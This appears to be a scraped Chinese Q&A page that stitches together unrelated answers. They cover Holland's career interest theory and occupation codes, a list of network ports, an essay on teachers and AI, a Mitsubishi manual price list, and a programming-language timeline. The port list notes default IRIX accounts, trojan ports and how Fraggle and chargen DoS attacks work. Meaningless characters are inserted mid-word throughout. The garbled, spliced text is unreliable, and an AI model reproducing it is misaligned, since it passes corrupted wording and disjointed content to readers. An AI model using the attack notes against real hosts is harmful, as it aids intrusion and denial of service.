霍兰德职业兴趣理论是美国约翰·霍普金斯大学的心理学教授约翰·霍兰德(JohnHolland)于1959年提出的。霍兰德是美国着名的职业指导专家,长期从事职业咨询工作,通过对自己职业生涯与他人的职业道路进行深入研究后,认为某一特殊类别的人格倾向,会对这种类型的工作发生兴趣,霍兰德和他的助手在几十年间经过一百多次大规模的实验研究,首次提出了具有广泛社会影响的人职互择理论,也就是我们通常说的霍兰德职业兴趣理论。
霍兰德教授认为,人的人格类型、兴趣与职业密切相关,兴趣是人们活动的巨大动力,一个人一旦对自己所做的工作感兴趣,他便会积极、愉快地从事该工作。此外,霍兰德教授认为,人格可分为社会型、企业型、常规型、现实型、研究型和艺术型六种类型,霍兰德职业兴趣理论把个人特质与适合这种特质的工作密切联系起来,巧妙地拉近了自我与工作世界的距离。借助霍兰德代码的协助,测评者能迅速地、系统地,而且有所依据地在一个特定的职业群里进行探索活动。
霍兰德职业兴趣理论的提出给了我们依据兴趣选择工作的可能,让我们能够积极主动的探索适合自己的职业,为我们找到真正适合自己的职业发展指明了一个方向。
霍兰德兴趣理论认为:职业选择是人格的一种表现,某一类型的职业通常会吸引具有相同特质的人,这种人格特质反映在职业上,就是职业兴趣。
根据职业兴趣,霍兰德将人的人格分划分为六种类型:现实型、研究型、艺术型、社会型、事业型、常规型。霍兰德认为不同性格、不同兴趣的人适合从事不同的工作,这一 理论经过60多年的实践得到了广泛的认可。
霍兰德职业兴趣是目前最有效的工具
六种职业兴趣类型:
霍兰德职业兴趣六边形:
霍兰德将六种职业兴趣用一个六角形模型来解释其相互间的关系:
从上图中可以看出,每一种类型与其他类型之间存在不同程度的关系,大体可描述为三类:
相邻关系:如R与I、I与A、A与S、S与E、E与C、C与R。属于这种关系的两种类型的个体之间都有一些明显的共同点。实际型R与研究型I的人都喜欢安静,不太偏好人际交往;研究型I与艺术型A的人思想上都比较独立,不会人云亦云;艺术型A与社会型S的人做事都比较灵活,不太拘泥常规;社会型S与企业型E的人都热衷说服他人,比较乐于人际交往;企业型E与事务型C的人都看重他人的赞许,对外界的赞许比较悦纳;事务型C与实际型R的人做事都比较细致,能够按照按部就班地工作。
相隔关系:如R与A、R与E、I与C、I与S、A与E、S与C,属于这种关系的两种类型个体之间共同点较相邻关系少,不详细探讨。
相对关系:在六边形上处于对角位置的类型之间即为相对关系,如R与S、I与E、A与C,属于这种关系的人在某些方面存在着相反性。实际型R与社会型S的人在是否主动与人交往上是相反的。R型通常不太与人交往,甚至回避交往,而S型则会主动与人交往,甚至离不开人际交往。研究型I与企业型E的人在是否影响他人思想方面是相反的。I型通常思想独立,不会轻易受到他人的影响,而E型通常希望掌控他人的思想,而不仅仅影响他人行为。艺术型A与事务型C的人在是否要遵从规范方面是相反的。A型大脑中通常没有条条框框,具有创新和创造能力,而C型通常看重各种规范,做事循规蹈矩。
霍兰德职业兴趣的实测步骤与解读:
第一步,施测
目前网上可以搜到兴趣测验题目(如找不到可私信发你),按照测试要求进行作答。
霍兰德职业兴趣测验包括八个部分:即你心目中的理想职业、你所感兴趣的活动、你所擅长的活动、你所喜好的职业、你的能力类型自评、你的职业兴趣类型、职业价值观和职业兴趣类型及对应的职业索引。
可以搜索到测试题,或私信索取
第二步,确定你的主要职业类型
测评结果出来后,计算分值,并由高到低排定职业兴趣类型的顺序,前二位或前三位职业类型确定了被测者的职业兴趣类型,也就是被测者的“霍兰德职业兴趣代码”。如RI、SC(两码组合);RCA、AIS(三码组合)等。这其中排在首位的是主型(职业兴趣的主要类型),后面1~2位(次位和末位)为辅型。
主要职业类型不一定是一个
第三步,对照职业兴趣代码,找到自己最理想的职业
为了让霍兰德职业兴趣代码具有实际的指导价值,霍兰德及其同事做了一项非常庞大的研究工作来鉴别不同职业的霍兰德职业兴趣代码。1996年,他们出版了美国版本的《霍兰德职业代码字典》,该书为12000多种职业提供了代码。两码共有30种组合类型;三码共有120种组合类型。
确定自己的职业类型组合后,通过对照职业兴趣代码,就能找到自己的理想职业 。 例如你的职业兴趣代号是RIA,那么牙科技术人员、陶工等是适合你兴趣的职业。然后寻找与你职业兴趣代号相近的职业,如你的职业兴趣代号是RIA,那么,其他由这三个字母组合成的编号(入IRA、IAR、ARI等)对应的职业,也较适合你的兴趣。
职业代码很多
两码包含的30种职业兴趣代码:
RI:通常所说的技术性工种,像电力和电器类技术工、机加工技术工、大型设备操作工,以及各种技师等
RA:雕刻工、手工刺绣、家具制作工、服装制作工、花匠、厨师等
RS:出租车司机、家电维修工等
RE:质检员、登山导游等
RC:各类检修人员、公交车驾驶员等
IR:各类工程技术人员、计算机编程人员等
IS:社会学研究人员、 心理学研究人员、大学教文科类教师等
IE:管理学科研究人员、 卫生防疫专家、系统分析员等
IC:统计分析师、财务分析师等
AR:电影电视摄影师、 录音师、动画制作人员、舞台灯光师等
AI:剧作家、时装设计师、建筑设计师、画家等
AS:广告设计师、时装模特、演员、装饰设计师等
AE:职业导演、 节目主持人
AC:橱窗装饰师、化妆师等
SR:护士、 职业学校的实训教师、体育教师、保姆等
SI:中学教师、 心理咨询师、职业指导师、市场调查人员等
SA:新闻记者、公共关系人员、活动策划人员等
SE:社区工作人员、福利机构工作人员等
SC:餐旅服务人员、营业员、前台工作人员等
ER:车间主任、船长等
EI:研究机构管理人员、总工程师、总设计师等
EA:制片人、舞台监督、律师等
ES:营销经理、营销人员、中小学校长、公共关系经理等
EC:政府官员、大堂经理、领班、办公室负责人等
CR:实验员、文印人员、计算机录入员等
CI:按投资分析员、会计师、数据采集人员、统计员等
CS:法庭速记员、仓库保管员、银行职员、图书管理员等
CE:秘书、一般公务员、行政助理等
三码包含的120种职业兴趣代码:
RIA:牙科技术员、陶工、建筑设计员、模型工、细木工、制作链条人员。
RIS:厨师、林务员、跳水员、潜水员、染色员、电器修理、眼镜制作、电工、纺织机器装配工、服务员、装玻璃工人、发电厂工人、焊接工。
RIE;建筑和桥梁工程、环境工程、航空工程、公路工程、电力工程、信号工程、电话工程、一般机械工程、自动工程、矿业工程、海洋工程、交通工程技术人员、制图员、家政经济人员、计量员、农民、农场工人、农业机械操作、清洁工、无线电修理、汽车修理、手表修理、管工、线路装配工、工具仓库管理员。
RIC:船上工作人员、接待员、杂志保管员、牙医助手、制帽工、磨坊工、石匠、机器制造、机车(火车头)制造、农业机器装配、汽车装配工、缝纫机装配工、钟表装配和检验、电动器具装配、鞋匠、锁匠、货物检验员、电梯机修工、托儿所所长、钢琴调音员、装配工、印刷工、建筑钢铁工作、卡车司机。
RAI:手工雕刻、玻璃雕刻、制作模型人员、家具木工、制作皮革品、手工绣花、手工钩针纺织、排字工作、印刷工作、图画雕刻、装订工。
RSE:消防员、交通巡警、警察、门卫、理发师、房间清洁工、屠夫、锻工、开凿工人、管道安装工、出租汽车驾驶员、货物搬运工、送报员、勘探员、娱乐场所的服务员、起卸机操作工、灭害虫者、电梯操作工、厨房助手。
RSI:纺织工、编织工、农业学校教师、某些职业课程教师(诸如艺术、商业、技术、工艺课程)、雨衣上胶工。
REC:抄水表员、保姆、实验室动物饲养员、动物管理员。
REI:轮船船长、航海领航员、大副、试管实验员。RES:旅馆服务员、家畜饲养员、渔民、渔网修补工、水手长、收割机操作工、搬运行李工人、公园服务员、救 生员、登山导游、火车工程技术员、建筑工作、铺轨工人。
RCS:公共汽车驾驶员、一等水手、游泳池服务员、裁缝、建筑工作、石匠、烟囱修建工、混凝土工、电话修理工、爆炸手、邮递员、矿工、裱糊工人、纺纱工。
RCE:打井工、吊车驾驶员、农场工人、邮件分类员、铲车司机、拖拉机司机。
IAS:普通经济学家、农场经济学家、财政经济学家、国际贸易经济学家、实验心理学家、工程心理学家、心理学家、哲学家、内科医生、数学家。
IAR:人类学家、天丈学家、化学家、物理学家、医学病理、动物标本剥制者、化石修复者、艺术品管理者。
ISE:营养学家、饮食顾问、火灾检查员、邮政服务检查员。
ISC:侦察员、电视播音室修理员、电视修理服务员、验尸室人员、编目录者、医学实验定技师、调查研究者。
ISR:水生生物学者,昆虫学者、微生物学家、配镜师、矫正视力者、细菌学家、牙科医生、骨科医生。
ISA:实验心理学家、普通心理学家、发展心理学家、教育心理学家、社会心理学家、临床心理学家、目标学家、皮肤病学家、精神病学家、妇产科医师、眼科医生、
五官科医生、医学实验室技术专家、民航医务人员、护士。
IES:细菌学家、生理学家、化学专家、地质专家、地理物理学专家、纺织技术专家、医院药剂师、工业药剂师、药房营业员。
IEC:档案保管员、保险统计员。
ICR:质量检验技术员、地质学技师、工程师、法官、图书馆技术辅导员、计算机操作员、医院听诊员、家禽检查员。
IRA:地理学家、地质学家、声学物理学家、矿物学家、古生物学家、石油学家、地震学家、声学物理学家、原子和分子物理学家、电学和磁学物理学家、气象学家、设计审核员、人口统计学家、数学统计学家、外科医生、城市规划家、气象员。
IRS:流体物理学家、物理海洋学家、等离子体物理学家、农业科学家、动物学家、食品科学家、园艺学家、植物学家、细菌学家、解剖学家、动物病理学家、作物病理学家、药物学家、生物化学家、生物物理学家、细胞生物学家、临床化学家、遗传学家、分子生物学家、质量控制工程师、地理学家、兽医、放射性治疗技师。
IRE:化验员、化学工程师、纺织工程师、食品技师、渔业技术专家、材料和测试工程师、电气工程师、土木工程师、航空工程师、行政官员、冶金专家、原子核工程师、陶瓷工程师、地质工程师、电力工程量、口腔科医生、牙科医生。
IRC:飞机领航员、飞行员、物理实验室技师、文献检查员、农业技术专家、动植物技术专家、生物技师、油管检查员、工商业规划者、矿藏安全检查员、纺织品检验员、照相机修理者、工程技术员、编计算程序者、工具设计者、仪器维修工。
CRI:簿记员、会计、记时员、铸造机操作工、打字员、按键操作工、复印机操作工。
CRS:仓库保管员、档案管理员、缝纫工、讲述员、收款人。
CIS:记账员、顾客服务员、报刊发行员、土地测量员、保险公司职员、会计师、估价员、邮政检查员、外贸检查员。
CIE:打字员、统计员、支票记录员、订货员、校对员、办公室工作人员。
CIR:校对员、工程职员、海底电报员、检修计划员、发扳员。
CSE:接待员、通讯员、电话接线员、卖票员、旅馆服务员、私人职员、商学教师、旅游办事员。
CSR:运货代理商、铁路职员、交通检查员、办公室通信员、薄记员、出纳员、银行财务职员。
CSA:秘书、图书管理员、办公室办事员。
CER:邮递员、数据处理员、办公室办事员。
CEI:推销员、经济分析家。
CES:银行会计、记账员、法人秘书、速记员、法院报告人。
ECI:银行行长、审计员、信用管理员、地产管理员、商业管理员。
ECS:信用办事员、保险人员、各类进货员、海关服务经理、售货员,购买员、会计。
ERI:建筑物管理员、工业工程师、农场管理员、护士长、农业经营管理人员。
ERS:仓库管理员、房屋管理员、货栈监督管理员。
ERC:邮政局长、渔船船长、机械操作领班、木工领班、瓦工领班、驾驶员领班。
EIR:科学、技术和有关周期出版物的管理员。
EIC:专利代理人、鉴定人、运输服务检查员、安全检查员、废品收购人员。
EIS:警官、侦察员、交通检验员、安全咨询员、合同管理者、商人。
EAS:法官、律师、公证人。
EAR:展览室管理员、舞台管理员、播音员、训兽员。
ESC:理发师、裁判员、政府行政管理员、财政管理员、I程管理员、职业病防治、售货员、商业经理、办公室主任、人事负责人、调度员。
ESR:家具售货员、书店售货员、公共汽车的驾驶员、日用品售货员、护士长、自然科学和工程的行政领导。
ESI:博物馆管理员、图书馆管理员、古迹管理员、饮食业经理、地区安全服务管理员、技术服务咨询者、超级市场管理员、零售商品店店员、批发商、出租汽车服务站调度。
ESA:博物馆馆长、报刊管理员、音乐器材售货员、广告商售画营业员、导游、(轮船或班机上的)事务长、飞机上的服务员、船员、法官、律师。
ASI:音乐教师、乐器教师、美术教师、管弦乐指挥,合唱队指挥、歌星、演奏家、哲学家、作家、广告经理、时装模特。
AER:新闻摄影师、电视摄影师、艺术指导、录音指导、丑角演员、魔术师、木偶戏演员、骑士、跳水员。
AEI:音乐指挥、舞台指导、电影导演。
AES:流行歌手、舞蹈演员、电影导演、广播节目主持人、舞蹈教师、口技表演者、喜剧演员、模特。
AIE:花匠、皮衣设计师、工业产品设计师、剪影艺术家、复制雕刻品大师。
AIR:建筑师、画家、摄影师、绘图员、环境美化工、雕刻家、包装设计师、陶器设计师、绣花工、漫画工。
SEC:社会活动家、退伍军人服务官员、工商会事务代表、教育咨询者、宿舍管理员、旅馆经理、饮食服务管理员。
SER:体育教练、游泳指导。
SEI:大学校长、学院院长、医院行政管理员、历史学家、家政经济学家、职业学校教师、资料员。
SCE:部长助理、福利机构职员、生产协调人、环境卫生管理人员、戏院经理、餐馆经理、售票员。
SRI:外科医师助手、医院服务员。
SRE:体育教师、职业病治疗者、体育教练、专业运动员、房管员、儿童家庭教师、警察、引座员、传达员、保姆。
SRC:护理员、护理助理、医院勤杂工、理发师、学校儿童服务人员。
SIA:社会学家、心理咨询者、学校心理学家、政治科学家、大学或学院的系主任、大学或学院的教育学教师、大学农业教师、大学工程和建筑课程的教师、大学法律教师、大学数学、医学、物理、社会科学和生命科学的教师、研究生助教、成人教育教师。
SIE:营养学家、饮食学家、海关检查员、安全检查员、税务稽查员、校长。
SIR:理疗员、救护队工作人员、手足病医生、职业病治疗助手。
简易找到自己的职业代码
然后请按照以下方式计算分值:
第一步,将所选中的6个职业的代码填在表中最后一列,每一行填一个代码。我们将实例的6个职业:外科医生(IRA)、船长(ERC)、摄影师(ARS)、律师(EAS)、社会科学研究者(ISA)和中学教师(SIE)的代码分别填入表中。
第二步,看看6个代码中出现在首位的字母的次数,将其乘以3,填在表格相应的空格内。在我们所举的实例中,首位I出现了2次,故在对应的格内填6,然后依此类推(见表)。次位和末位也是如此。最后纵向计算出每个字母的合计分值,并填在相应空格内。
第三步,我们已经给出了每个字母的校正系数,请将各个字母的合计分值乘以校正系数,就得到最终的校正分值。
第四步,按照校正分值由高到低排列,前3个字母即为你的霍兰德职业代码。
所举实例的霍兰德职业兴趣代码即为:SEA。
把兴趣变成能力,用能力兑换价值,用价值强化兴趣
职业生涯理论中有个三叶草模型,该模型揭示了个人在职业生涯发展过程中,兴趣、能力与价值三者的推动关系,即如何把兴趣发展为能力,用平台兑换价值,然后用价值强化兴趣。每个人都有自己的兴趣,但是兴趣不一定能够为自己带来经济利益,也不一定能够做成事业。每个人只有做自己感兴趣的事,才会全力投入,所以职业规划就是如何把兴趣变成工作,通过工作提升能力,通过能力获得价值才是一条正确的职场之路。
沿着兴趣走的路一定有光明的未来
⑷ 计算机网络端口号
详尽腊肆拦端口介绍端口:0
服务:Reserved
说明:通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用通常的闭合端口连接它时将产生不同的结果。一种典型的扫描,使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。
端口:1
服务:tcpmux
说明:这显示有人在寻找SGI Irix机轮胡器。Irix是实现tcpmux的主要提供者,默认情况下tcpmux在这种系统中被打开。Irix机器在发布是含有几个默认的无密码的帐户,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。许多管理员在安装后忘记删除这些帐户。因此HACKER在INTERNET上搜索tcpmux并利用这些帐户。
端口:7
服务:Echo
说明:能看到许多人搜索Fraggle放大器时,发送到X.X.X.0和X.X.X.255的信息。
端口:19
服务:Character Generator
说明:这是一种仅仅发送字符的服务。UDP版本将会在收到UDP包后回应含有垃圾字符的包。TCP连接时会发送含有雹运垃圾字符的数据流直到连接关闭。HACKER利用IP欺骗可以发动DoS攻击。伪造两个chargen服务器之间的UDP包。同样Fraggle DoS攻击向目标地址的这个端口广播一个带有伪造受害者IP的数据包,受害者为了回应这些数据而过载。
端口:21
服务:FTP
说明:FTP服务器所开放的端口,用于上传、下载。最常见的攻击者用于寻找打开anonymous的FTP服务器的方法。这些服务器带有可读写的目录。木马Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所开放的端口。
端口:22
服务:Ssh
说明:PcAnywhere建立的TCP和这一端口的连接可能是为了寻找ssh。这一服务有许多弱点,如果配置成特定的模式,许多使用RSAREF库的版本就会有不少的漏洞存在。
⑸ 人工智能,时代的新宠,教师何去何从
人工智能成为近期热词。在第二届全国中小学数字化教学会上,张景中院士以“人工智能”为主题开讲《数字化教学资源建设》。7月份,国务院印发《新一代人工智能发展规划》 ,提出要在中小学阶段设置人工智能相关课程,逐步推广编程教育;利用智能技术加快推动人才培养模式,教学方法改革,构建包含智能学习、交互式学习的新型教育体系;开展智能校园建设;开发立体综合教学场、基于大数据智能的在线学习教育平台;开发智能教育助理,建立智能、快速、全面的教育分析系统……
当教师遇上人工智能,这已经不是传说,不是遥远的想象,而是正在到来的现实。
那么人工智能时代,还需要教师吗?人工智能时代,学生的学习会发生什么变化,课堂会发生什么变化?最重要的是,人工智能时代,什么不会改变?华东师范大学李政涛教授的这篇文章也许会给你答案。
人工智能时代,还需要教师吗?
人类正在迈入人工智能时代。各种有关人工智能的预言、讨论铺天盖地,催生众多不同的视角和声音,但有一点却是共识:未来很多职业将被人工智能不同程度替代,包括翻译、律师、护士、程序员、记者、作家,以及绝大部分体力劳动……
在这份长长的“黑名单”里,教师的地位晦暗不明,是否会从人类社会的职业榜中消逝,尚未形成定论。不管怎样,人工智能与教师的相遇已经不可避免。在此前提下,一个重大问题跃然而出,当教师遇上人工智能,究竟会发生什么?
首要的问题是:人工智能时代,还需要教师吗?
教师如何才能拥有独特、不可替代的价值和作用? 这需要先洞悉人工智能将为“学校”、为“学生的学习”、为“课程与教学”等带来了什么变化,以这些变化为前提和依据,再来聚焦教师是否能够在这些变化面前有所作为,以及如何作为。
人工智能时代,学校还存在吗?
对于“学校”而言,人工智能时代的学校同样具有生存危机,它未必会手败缓“脱胎换骨”为大小不一的“学习中心”,但可以肯定的是,学校这座“孤岛”会在信息技术带来的开放中,与外界的联系愈加紧密。学校空间的利用率、学校时间的弹性化也会大幅度提升。更重要的在于,学校的功能和作用将发生重大变化,越来越走向“精准教育”,通过“精准定位”为学生的成长提供“精准服务”。
例如,一位家长带着15岁的孩子来问学校:“我”的孩子想成为一个哲学家或物理学家毕模,你们可以做些什么?学校应该告诉家长,“我”这所学校是否可以提供这样的帮助,有什么独特的环境,有什么教师,有什么课程,有什么方法(如提供大量苏格拉底式或爱因斯坦式的教学方法)等,可以帮助这个学生成为他希望的那类人?如果学校无法提供这样的“精准服务”,至少可以告诉家长,“我”有别的“精准服务”,有别的什么充足条件,有助于孩子成长为什么样的人,成为什么类型的人才,如服务型、善用AI型、创意型、领袖型等。
这是人工智能时代学校最根本的变化,学校不再是为未来职业做准备,而是真正为人的终身学习、终身发展而准备。同样是“准备”,人工智能时代的学校准备是“精准准备”,与人才培养和能力提升的“精准特色”有关,这样才可能带来真正的“个性化教育”。
人工智能时代,学生的学习会发生什么变化?
在学习目标上,首先是“人之为人”的普遍目标。它的重点不再是习得为将来从事某个职业所需要的特有知识、技能与方法,而是拥有合理的价值观、强大的创新思维与能力,以及自主学习的能力等,这些都是真正“成人”并走向“终身学习”的基础性、根基性前提。
其次是特殊目标,它与学生的个性化需要有关,是真正的“学以为己”。满足自己的兴趣和需要的学习,形成个性化的知识体系,而不只是适用枯告于所有人的标准化知识体系。
在学习资源上,学生获取知识与方法的来源与途径,不再局限于教师与课堂。学生会使用Sri、Cortana、Alexa等人工智能寻找学习资源,也不再拘泥于制度化、固定化的“课堂时间”。
与此相关的是学习方式的改变。移动电话、平板电脑、掌上电脑等便携设备使学习不再局限于固定和遇到的地点,它在改变现代社会知识的性质与来源的同时,也改变了知识习得的方式,最终形成移动学习与固定学习并驾齐驱、线上学习与线下学习比翼齐飞、人工智能与人的智能交融共生的新格局。
在学习伙伴上,昔日近乎同龄的“学习共同体”成员将会发生质的变化。学生的年龄差异会加大,来自学前教育的“混龄教育”将会逐步蔓延、延伸到不同学段的教育。例如,斯坦福大学提出开放式大学的概念,本质上是“混班制”。学生在一生当中任何六年时间里完成学业,即可拿到本科学位。
人工智能时代,课堂会变成什么样子?
对于课程与教学而言,各种课程资源和课程定制的丰富性、专业性,已无须学校和教师过多参与,课程外包或订购逐渐成为主流。课堂教学的“人工智能化”已是大势所趋。例如,除了白板之外,未来的显示屏可能大到覆盖整面墙壁,可以操纵显示几乎任何课堂需要的内容。智能屏幕成为现代黑板,智能课桌成为现代课桌的升级版本,教师可以随时插入并控制屏幕与课桌。这些联网的平板提供了与智能手机相同的在线资源并实现“课堂在场”。
这样的课堂,是线下实体课堂与线上虚拟课堂的穿梭转换,学生在线上通过网络社群、创客空间与智能机器人进行个性化的自主学习,在线下集中时进行分享、交流、讨论、练习、创造等活动。
人工智能时代的课堂会更加趋向“个人导向的系统学习”,它是介于“碎片化学习”与“学校内系统学习”之间的课堂学习方式。学习者更多根据个人的兴趣爱好、问题解决需要选择学习内容和学习路径,而不只是按照学科知识体系的要求进行系统学习。在此过程中,通过平时碎片式的“零存”,最终实现系统性的“整取”,将碎片化知识按照个人的需要逐步建构成属于自己的知识体系。
这样的课堂,教师可以利用人工智能技术和大数据,更加精细、精准地了解学生特点、个性和需要。例如,教师运用一个软件大致可以知道哪一个知识点、能力点、方法点学生会了,什么还不会;利用英语语音分析智能软件,学生跟随软件讲一句,软件马上一点一滴地帮助教师指出学生的发音问题在哪里、怎么改?又如,人工智能技术能够让教师知晓哪些学生在听“我”讲话,或在走神,或在睡觉,甚至可以通过脑电图了解学生课堂上的思维走势和情感波动……
人工智能时代,什么不会改变?
到此为止,已经无须对人工智能带来的改变做过多描述,现在最紧迫的问题依旧是:既然如此,教师怎么办?什么可以被人工智能替代,什么无法被替代?教师需要做出什么改变才可能适应这个变化,并掌握主导权,重新置于时代的潮头。
可以被替代的是那些需要重复做的事情(如布置作业、批改作业),需要大量信息资料搜集、数据积淀和分析的事情(如把很多教师的教学经验汇聚到机器里,计算所有的可能性,找到最佳路径),需要精准定位的事情(如学生的个性特质、个性需求,学生的学习难点、障碍点等)。这些事情被替代,是对教师的解放。当人工智能可以随时随地用更精准、更有效的方法来教学的时候,何乐不为?
什么是人工智能无法替代的?决定教师能否被替代的不是人工智能,是教育的本质,是学生的需要,是贯穿其中不变的教育之理、教育之道。在此之前,我们一直在思考并回答“人工智能时代什么将发生改变”的问题,与此同时还需要提出另一个问题:人工智能来了,什么不会改变?这个明确了,人工智能时代的教育就围绕着这些不变的东西“教书育人”。
首先,不变的是教育本身。无论是通过“学校”还是“学习中心”,或者“社区”等其他载体,人类始终需要教育,人工智能本身的发展、使用始终也离不开教育。既如此,“教育在”则“学生在”,“学生在”则“教师在”。
其次,不变的是教育的本质与真谛。教育是为成人、育人而生的,是为叶澜教授所言的“教天地人事,育生命自觉”,是“为人的一生幸福奠基”而变革与发展的。不论何种时代的教育,概莫能外,任何人工智能都不能改变这一真谛。
再次,不变的是学生成长的需要。学生的素养与能力不会自动发生,也不能只凭自学养成,学生的成长始终需要“教师”这样的引路人、互动者、对话者、帮助者和陪伴者。这些角色,是人工智能时代教师最需要承担的角色。他们是陪伴学生在人工智能时代的重重险滩和荆棘中前行的人,是通过赋予学生自主学习能力和创新性思维,给予学生打破旧知识、创造新知识能力的人,从而是引导、帮助学生在人工智能的世界里,获得不可被替代的自主、自立、自强和自由能力的人。
人工智能时代的教师需要具备三大本领,即“爱商”“数商”“信商”,才能成为依然被学生需要的人。与人类的智商、情商相呼应,“爱商”是教师最核心的情商,“数商”和“信商”是教师最重要的智商。
“爱商”与价值观、情感实践相关。这是人工智能无法给予学生的。教师首先应是仁爱之人,具备“爱的能力”。这种能力兼容了“情感之爱”与“理性之爱”。它不是有条件、有选择的“小爱”,而是无条件、一视同仁的“大爱”;不是“抽象的爱”,而是“具体的爱”;不是“模糊的爱”,而是“清晰的爱”。因此,教师能够精准把握、了解、洞察学生的成长需要与个性特质,及时给予细致入微的个性化关怀、呵护、尊重,因而可以让学生在充满了编程、编码、算法的冷冰冰的人工智能世界里,依然能够感受到人性的温度、生命的温暖和仁爱的力量,进而学会相互传递温暖和仁爱。
“
⑹ 谁知道哪里有免费的三菱q172cpu的编程软件,急!!!!谢谢!!
郑州高恩供应三菱系列编程手册
FX3U/FX3UC 编程手册 FX3U/FX3UC编程手册(基本.应用指令说明书) 中文(三菱原版) 150元
FX3U用户手册(硬件篇) FX3U/FX3UC 中文(三菱原版) 160元
FX3U定位模块手册 FX3U/FX3UC系列微型可编程控制器用户手册(定位控制篇) 中文 160元
三菱MR-J3伺服手册 三菱MR-J3-A伺服放大滚锋器技术资料集 中文(三菱原版) 200元
GT11用户手册 GT11设备 使用说明书 中文(三菱原版) 200元
GT15用户手册 GT15设备 使用说明书 中文(三菱原版) 200元
GT Designer2基本操作手册 GT Designer2 版本2 基本操作/数据传输手册 中文(三菱原版) 250元
GT Designer2画面设计手册 GT Designer2 版本2 画面设计手册 (上/下分册) 中文(三菱原版) 450元
Q173/172CPU(N)编程手册 运动控制器Q系列(Q173CPU(N)/Q172CPU(N)) 编程手册 中拍弊文 450元
QCPU(Q模式)编程手册 QCPU(Q模式)/QnACPU编程手册 / 公共指令 (上/下册) 中文 550元
Q系列定位模块手册 Q系列定位模块QD75P/QD75D用户手册(详细篇) 中文(三菱原版) 450元
A系列编程大贺晌手册 公共指令篇 中文(三菱原版) 350元
A系列编程手册 基础篇 中文(三菱原版) 350元
FX2N 编程手册 FX1S FX1N FX2N FX2 FX0N FX2 FX2C 中文(三菱原版) 100元
Q系列CPU用户参考手册 QCPU(Q模式) 中文(三菱原版) 250元
Q系列CPU用户指南 QCPU(Q模式) 中文(三菱原版) 250元
Q系列PLC大全 QCPU(Q模式) 中文(三菱原版) 250元
Q系列CC-LINK网络手册 Q系列CC-LINK网络系统用户参考手册 中文(三菱原版) 250元
FX2N CC-LINK用户手册 FX2N-16CCL-M / FX2N-32CCL用户手册 中文(三菱原版) 150元
三菱张力控制器用户手册 用户手册 中文(三菱原版) 150元
三菱磁粉制动器用户手册 三菱磁粉制动器/离合器用户手册 中文(三菱原版) 150元
FX特殊功能模块用户手册 FX2N-4AD/4DA/8AD/2LC/1PG/485BD/232BD 中文(三菱原版) 150元
FX通信用户手册 FX2N-485BD/232BD FX1N-485BD/232BD 中文(三菱原版) 150元
A900GOT图形操作终端 A975GOT/985GOT/960GOT/A950 用户手册 中文(三菱原版) 250元
GT Works版本5参考手册 GT Works版本5/GT Designer版本5参考手册 中文(三菱原版) 350元
F900GOT 操作手册 F930/F940 中文(三菱原版) 200元
F900GOT 硬件手册 F930/F940 中文(三菱原版) 200元
三菱MR-J2S伺服手册 MELSERVO-J2-SUPER伺服 中文(三菱原版) 200元
三菱MR-E伺服手册 MELSERVO MR-E伺服 中文(三菱原版) 200元
FX2N-10GM/20GM手册 FX2N-10GM/20GM 中文(三菱原版) 250元
A系列10网络手册 PC TO PC 中文(三菱原版) 350
A系列10网络手册 远程I/O网络 中文(三菱原版) 350
可编程控制器应用101例 中文(三菱原版) 250
A-PLC基础教程 中文(三菱原版) 200元
A-PLC应用教程 中文(三菱原版) 200元
A-PLC维护教程 中文(三菱原版) 200元
QnA程序设计教程 MELSEC-QnA程序设计教程 中文(三菱原版) 250元
变频器原理与应用教程 中文(三菱原版) 150
AC伺服教程 中文(三菱原版) 250
矢量变频器技术资料集 FR-V200用 中文(三菱原版) 250
Q2AS(H)CPU(S1) 中文(三菱原版) 250
A2ASCPU(S1) 中文(三菱原版) 250
A1SHCPU A1SJH/A1SH/A2SHCPU(S1) 中文(三菱原版) 250
GPP软件操作手册 SW3D5C-GPPW/LLT-C操作手册 中文(三菱原版) 250
GT Works版 5 GT Works版 5/GT Designer 版5 中文(三菱原版) 250
AJ61BT11用户手册 AJ61BT11/A1SJ61BT11 中文(三菱原版) 250
FX 综合编程手册 中文(三菱原版) 150
FX2N-2LC温控模块 中文(三菱原版) 150
MELSEC-Q指南 中文(三菱原版) 250
⑺ 编程语言的历史
两个都是英文版的。
编程语言和软件历史年表大全
Year - Languages, Operating Systems, Major Programs, Etc.
1945 EDVAC utilizes stored program concept
1945 Plankalkul (Konrad Zuse)
1949 Short Code (for BINAC) (John Mauchly)
1950 Intermediate Programming Language (Arthur W. Burks)
1951 Klamemerausdrucke (algebraic language and compilers)
1951 Formules (complete compiler) (Heinz Rutishauser)
1951 Find (for the Whirlwind) (Jack Gilmore)
1952 Autocode compiler (Alick E. Glennie)
1952 Short Code (for UNIVAC 1) (W.F. Schmidt, A.B. Tonik, J.R. Logan)
1952 Sort-Merge Generator (for UNIVAC 1) (Betty Holberton)
1952c COMPOOL (for SAGE) (MIT)
1952 Punchy (for TX-O) (Jack Gilmore)
1953 A-2 Compiler (for UNIVAC) (Grace Hopper)
1953 Algebraic interpreter (for Whirlwind, MIT) (J.H. Laning, N. Zierler)
1953 Speedcoding (for IBM 701) (John Backus)
1954 Operating System (for IBM 701, General Motors Research Laboratory)
1954 Autocode (for Manchester Mark 1) (R.A. Booker)
1954 PiPi-2 Prgrmg Program (compiler, USSR) (E.Z. Liumbimskii, S.S. Kamynin)
1954c Autocoder assembly language (for IBM 705)
1955 PiPi Programming Program (for BESM) (USSR)
1955 BACAIC (for IBM 701) (Mandalay Grems, R.E. Porter, Boeing Airplane Co.)
1955 MATH-MATIC mathematical programming language (for UNIVAC) (C. Katz)
1955 Kompiler 2 (for IBM 701) (A. Kenton Elsworth, Livermore Laboratory)
1956 Operating Sys. (for IBM 704) (General Motors; North American Aviation)
1956 ADES (U.S. Naval Observatory) (E.K.Blum)
1956 APT machine tool control (MIT) (Douglas Ross)
1956 Logic Theorist AI program (A. Newell & H. Simon, Carnegie Institute)
1956 IT (Internal Translator) (for IBM 650) (A. Perlis & J.W. Smith)
1956 Mark I report generator (for IBM 702) (General Electric-Hanford)
1956 FORTRAN (Formula Translation) (John Backus, IBM)
1957 Mark II Report generator (for IBM 702) (General Electric-Hanford)
1957 IPL-V (Information Processing Language V)
1957 Fortransit programming language
1957 COMIT string processing language (Victor Yngve, MIT)
